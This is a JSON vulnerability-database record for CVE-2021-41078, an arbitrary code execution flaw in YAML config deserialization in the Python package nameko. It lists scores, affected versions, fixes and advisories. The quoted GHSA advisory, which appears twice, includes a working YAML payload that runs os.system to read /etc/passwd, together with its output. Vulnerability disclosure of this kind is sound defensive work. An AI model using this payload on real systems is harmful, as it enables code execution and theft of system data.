{"id":"CVE-2021-41078","aliases":["EUVD-2021-0138","GHSA-6p52-jr3q-c94g","PYSEC-2021-383"],"status":"published","title":"Nameko Arbitrary code execution due to YAML deserialization","description":"Nameko through 2.13.0 can be tricked into performing arbitrary code execution when deserializing the config file.","severity":{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high","assessor":"primary","from":"nvd"},"epss":{"day":"2026-11-12","score":0.01537,"percentile":0.75231,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":true,"fix_available":true},"cwes":["CWE-502"],"published":"2021-10-19T15:28:57Z","modified":"2026-10-20T10:54:57Z","exploits":[{"source":"pocgithub","id":"s-index/CVE-2021-41078","title":"s-index/CVE-2021-41078","date":"2022-08-28","url":"https://github.com/s-index/CVE-2021-41078"}],"fixes":[{"ecosystem":"PyPI","package":"nameko","fixed_in":["2.14.0","3.0.0rc10"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"nameko","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.14.0"}]}]},{"source":"ghsa","ecosystem":"PyPI","package":"nameko","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.0rc0"},{"last_affected":"3.0.0rc9"},{"fixed":"3.0.0rc10"}]}]},{"source":"osv","ecosystem":"PyPI","package":"nameko","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.14.0"}]}],"versions":["0.1.1","0.1.2","0.1.3","0.1.4","0.1.5","0.1.6","0.1.7","0.1.8","0.1.9","0.2.0","0.2.1","0.3.0","0.4.0","0.4.1","0.5.0","0.5.1","0.5.2","0.5.3","0.6.0","0.7.0","1.0.0","1.0.1","1.1.0","1.1.1","1.1.2","1.1.3","1.1.4","1.10.0","1.10.1","1.11.0","1.11.1","1.11.2","1.11.3","1.11.4","1.11.5","1.12.0","1.13.0","1.14.0","1.2.0","1.2.1","1.2.2","1.2.3","1.2.4","1.2.5","1.3.0","1.3.1","1.3.2","1.3.3","1.3.4","1.3.5","1.4.0","1.4.1","1.5.0","1.6.0","1.6.1","1.7.0","1.7.1","1.7.2","1.8.0","1.8.1","1.8.2","1.9.0","1.9.1","2.0.0","2.1.0","2.1.1","2.1.2","2.10.0","2.11.0","2.12.0","2.13.0","2.2.0","2.3.0","2.3.1","2.4.0","2.4.1","2.4.2","2.4.3","2.4.4","2.5.0","2.5.1","2.5.2","2.5.3","2.5.4","2.6.0","2.7.0","2.8.0","2.8.1","2.8.2","2.8.3","2.8.4","2.8.5","2.9.0","2.9.0rc0","2.9.1","2.9.1rc0"]},{"source":"osv","ecosystem":"PyPI","package":"nameko","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.0rc0"},{"fixed":"3.0.0rc10"}]}],"versions":["3.0.0rc0","3.0.0rc1","3.0.0rc2","3.0.0rc3","3.0.0rc4","3.0.0rc5","3.0.0rc6","3.0.0rc7","3.0.0rc8","3.0.0rc9"]},{"source":"osv","ecosystem":"PyPI","package":"nameko","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.14.0"}]}],"versions":["0.1.1","0.1.2","0.1.3","0.1.4","0.1.5","0.1.6","0.1.7","0.1.8","0.1.9","0.2.0","0.2.1","0.3.0","0.4.0","0.4.1","0.5.0","0.5.1","0.5.2","0.5.3","0.6.0","0.7.0","1.0.0","1.0.1","1.1.0","1.1.1","1.1.2","1.1.3","1.1.4","1.10.0","1.10.1","1.11.0","1.11.1","1.11.2","1.11.3","1.11.4","1.11.5","1.12.0","1.13.0","1.14.0","1.2.0","1.2.1","1.2.2","1.2.3","1.2.4","1.2.5","1.3.0","1.3.1","1.3.2","1.3.3","1.3.4","1.3.5","1.4.0","1.4.1","1.5.0","1.6.0","1.6.1","1.7.0","1.7.1","1.7.2","1.8.0","1.8.1","1.8.2","1.9.0","1.9.1","2.0.0","2.1.0","2.1.1","2.1.2","2.10.0","2.11.0","2.12.0","2.13.0","2.2.0","2.3.0","2.3.1","2.4.0","2.4.1","2.4.2","2.4.3","2.4.4","2.5.0","2.5.1","2.5.2","2.5.3","2.5.4","2.6.0","2.7.0","2.8.0","2.8.1","2.8.2","2.8.3","2.8.4","2.8.5","2.9.0","2.9.0rc0","2.9.1","2.9.1rc0"]}],"products":[{"vendor":"nameko","product":"nameko"}],"references":[{"url":"https://github.com/nameko/nameko","tags":["x_refsource_MISC","x_transferred","Third Party Advisory","advisory","package","web"]},{"url":"https://github.com/nameko/nameko/security/advisories/GHSA-6p52-jr3q-c94g","tags":["x_refsource_MISC","x_transferred","Exploit","Third Party Advisory","evidence","web","advisory"]},{"url":"https://github.com/nameko/nameko/releases/tag/v2.14.0","tags":["web"]},{"url":"https://github.com/nameko/nameko/releases/tag/v3.0.0-rc10","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2021-41078","tags":["advisory"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/nameko/PYSEC-2021-383.yaml","tags":["web"]},{"url":"https://github.com/advisories/GHSA-6p52-jr3q-c94g"}],"sources":{"cve":[{"id":"CVE-2021-41078","description":"Nameko through 2.13.0 can be tricked into performing arbitrary code execution when deserializing the config file.","status":"published","published":"2021-10-26T12:08:19Z","modified":"2024-08-04T02:59:31.054Z","updated_at":"2026-11-02T14:32:59.430294Z"}],"euvd":[{"id":"EUVD-2021-0138","description":"Nameko through 2.13.0 can be tricked into performing arbitrary code execution when deserializing the config file.","status":"published","published":"2021-10-26T12:08:19Z","modified":"2024-08-04T02:59:31Z","updated_at":"2026-11-03T03:24:19.242491Z"}],"ghsa":[{"id":"GHSA-6p52-jr3q-c94g","title":"Nameko Arbitrary code execution due to YAML deserialization","description":"### Impact\n\nNameko can be tricked to perform arbitrary code execution when deserialising a YAML config file. Example:\n\n``` yaml\n# malicious.yaml\n!!python/object/new:type\nargs: ['z', !!python/tuple [], {'extend': !!python/name:exec }]\nlistitems: \"__import__('os').system('cat /etc/passwd')\"\n```\n\n``` shell\n$ nameko run --config malicious.yaml test\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\n... \n```\n\n### Patches\n\nThe problem was fixed in https://github.com/nameko/nameko/pull/722 and released in version 2.14.0, and in rc10 of the v3 pre-release.\n\nVersions prior to 2.14.0, and v3.0.0rc0 through v3.0.0rc9 are still vulnerable.\n\n### Workarounds\n\nThe vulnerability is exploited by config files with malicious content. It can be avoided by only using config files that you trust.","status":"published","published":"2021-10-19T15:28:57Z","modified":"2024-10-07T14:45:04Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical"},{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T14:38:08.742903Z"}],"nvd":[{"id":"CVE-2021-41078","description":"Nameko through 2.13.0 can be tricked into performing arbitrary code execution when deserializing the config file.","status":"published","published":"2021-10-26T13:15:07.557Z","modified":"2026-06-17T04:07:49.867Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high","assessor":"primary"},{"version":"2.0","score":6.8,"vector":"AV:N/AC:M/Au:N/C:P/I:P/A:P","level":"medium","assessor":"primary"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T14:07:00.549994Z"}],"osv":[{"id":"CVE-2021-41078","description":"Nameko through 2.13.0 can be tricked into performing arbitrary code execution when deserializing the config file.","status":"published","published":"2021-10-26T13:15:07.557Z","modified":"2026-10-20T10:54:57.615685353Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:44:21.249056Z"},{"id":"GHSA-6p52-jr3q-c94g","title":"Nameko Arbitrary code execution due to YAML deserialization","description":"### Impact\n\nNameko can be tricked to perform arbitrary code execution when deserialising a YAML config file. Example:\n\n``` yaml\n# malicious.yaml\n!!python/object/new:type\nargs: ['z', !!python/tuple [], {'extend': !!python/name:exec }]\nlistitems: \"__import__('os').system('cat /etc/passwd')\"\n```\n\n``` shell\n$ nameko run --config malicious.yaml test\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\n... \n```\n\n### Patches\n\nThe problem was fixed in https://github.com/nameko/nameko/pull/722 and released in version 2.14.0, and in rc10 of the v3 pre-release.\n\nVersions prior to 2.14.0, and v3.0.0rc0 through v3.0.0rc9 are still vulnerable.\n\n### Workarounds\n\nThe vulnerability is exploited by config files with malicious content. It can be avoided by only using config files that you trust.","status":"published","published":"2021-10-19T15:28:57Z","modified":"2026-07-08T06:28:18.11877277Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"high"},{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T15:46:39.965326Z"},{"id":"PYSEC-2021-383","description":"Nameko through 2.13.0 can be tricked into performing arbitrary code execution when deserializing the config file.","status":"published","published":"2021-10-26T13:15:00Z","modified":"2023-11-08T04:06:50.421051Z","updated_at":"2026-11-02T15:52:52.682031Z"}]}}
